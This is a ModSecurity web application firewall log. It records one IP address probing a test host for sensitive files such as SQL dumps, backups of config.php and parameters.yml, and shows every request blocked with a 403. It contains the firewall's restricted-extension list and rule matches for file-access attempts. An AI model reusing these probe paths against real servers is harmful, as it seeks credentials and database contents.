[Sun Jun 29 20:19:32.944092 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/backup.sql&quot;] [unique_id &quot;aGGDtHtTxOj9v32ojom6CwAAAAE&quot;]
[Sun Jun 29 20:19:32.944440 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/backup.sql&quot;] [unique_id &quot;aGGDtHtTxOj9v32ojom6CwAAAAE&quot;]
[Sun Jun 29 20:19:32.944623 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/backup.sql&quot;] [unique_id &quot;aGGDtHtTxOj9v32ojom6CwAAAAE&quot;]
[Sun Jun 29 20:19:33.143480 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.php.bak&quot;] [unique_id &quot;aGGDtXtTxOj9v32ojom6EgAAAAE&quot;]
[Sun Jun 29 20:19:33.143815 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.php.bak&quot;] [unique_id &quot;aGGDtXtTxOj9v32ojom6EgAAAAE&quot;]
[Sun Jun 29 20:19:33.144015 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.php.bak&quot;] [unique_id &quot;aGGDtXtTxOj9v32ojom6EgAAAAE&quot;]
[Sun Jun 29 20:19:33.180710 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aGGDtXtTxOj9v32ojom6EwAAAAE&quot;]
[Sun Jun 29 20:19:33.180954 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aGGDtXtTxOj9v32ojom6EwAAAAE&quot;]
[Sun Jun 29 20:19:33.181159 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aGGDtXtTxOj9v32ojom6EwAAAAE&quot;]
[Sun Jun 29 20:19:38.177455 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/db.sql&quot;] [unique_id &quot;aGGDuntTxOj9v32ojom6FgAAAAE&quot;]
[Sun Jun 29 20:19:38.177794 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/db.sql&quot;] [unique_id &quot;aGGDuntTxOj9v32ojom6FgAAAAE&quot;]
[Sun Jun 29 20:19:38.177969 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/db.sql&quot;] [unique_id &quot;aGGDuntTxOj9v32ojom6FgAAAAE&quot;]
[Sun Jun 29 20:19:38.222968 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/debug.log&quot;] [unique_id &quot;aGGDuntTxOj9v32ojom6GAAAAAE&quot;]
[Sun Jun 29 20:19:38.223325 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/debug.log&quot;] [unique_id &quot;aGGDuntTxOj9v32ojom6GAAAAAE&quot;]
[Sun Jun 29 20:19:38.223550 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/debug.log&quot;] [unique_id &quot;aGGDuntTxOj9v32ojom6GAAAAAE&quot;]
[Sun Jun 29 20:19:38.297693 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/dump.sql&quot;] [unique_id &quot;aGGDuntTxOj9v32ojom6GwAAAAE&quot;]
[Sun Jun 29 20:19:38.298087 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/dump.sql&quot;] [unique_id &quot;aGGDuntTxOj9v32ojom6GwAAAAE&quot;]
[Sun Jun 29 20:19:38.298292 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/dump.sql&quot;] [unique_id &quot;aGGDuntTxOj9v32ojom6GwAAAAE&quot;]
[Sun Jun 29 20:19:42.280888 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/error.log&quot;] [unique_id &quot;aGGDvntTxOj9v32ojom6HQAAAAE&quot;]
[Sun Jun 29 20:19:42.281257 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/error.log&quot;] [unique_id &quot;aGGDvntTxOj9v32ojom6HQAAAAE&quot;]
[Sun Jun 29 20:19:42.281470 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/error.log&quot;] [unique_id &quot;aGGDvntTxOj9v32ojom6HQAAAAE&quot;]
[Sun Jun 29 20:19:42.372522 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/logs/error.log&quot;] [unique_id &quot;aGGDvntTxOj9v32ojom6IQAAAAE&quot;]
[Sun Jun 29 20:19:42.372861 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/logs/error.log&quot;] [unique_id &quot;aGGDvntTxOj9v32ojom6IQAAAAE&quot;]
[Sun Jun 29 20:19:42.373048 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/logs/error.log&quot;] [unique_id &quot;aGGDvntTxOj9v32ojom6IQAAAAE&quot;]
[Sun Jun 29 20:19:42.625508 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aGGDvntTxOj9v32ojom6JwAAAAE&quot;]
[Sun Jun 29 20:19:42.625760 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aGGDvntTxOj9v32ojom6JwAAAAE&quot;]
[Sun Jun 29 20:19:42.625948 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aGGDvntTxOj9v32ojom6JwAAAAE&quot;]
[Sun Jun 29 20:19:55.666440 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/site.conf&quot;] [unique_id &quot;aGGDy3N4YZunzJSJCzJ6bAAAAAY&quot;]
[Sun Jun 29 20:19:55.666797 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/site.conf&quot;] [unique_id &quot;aGGDy3N4YZunzJSJCzJ6bAAAAAY&quot;]
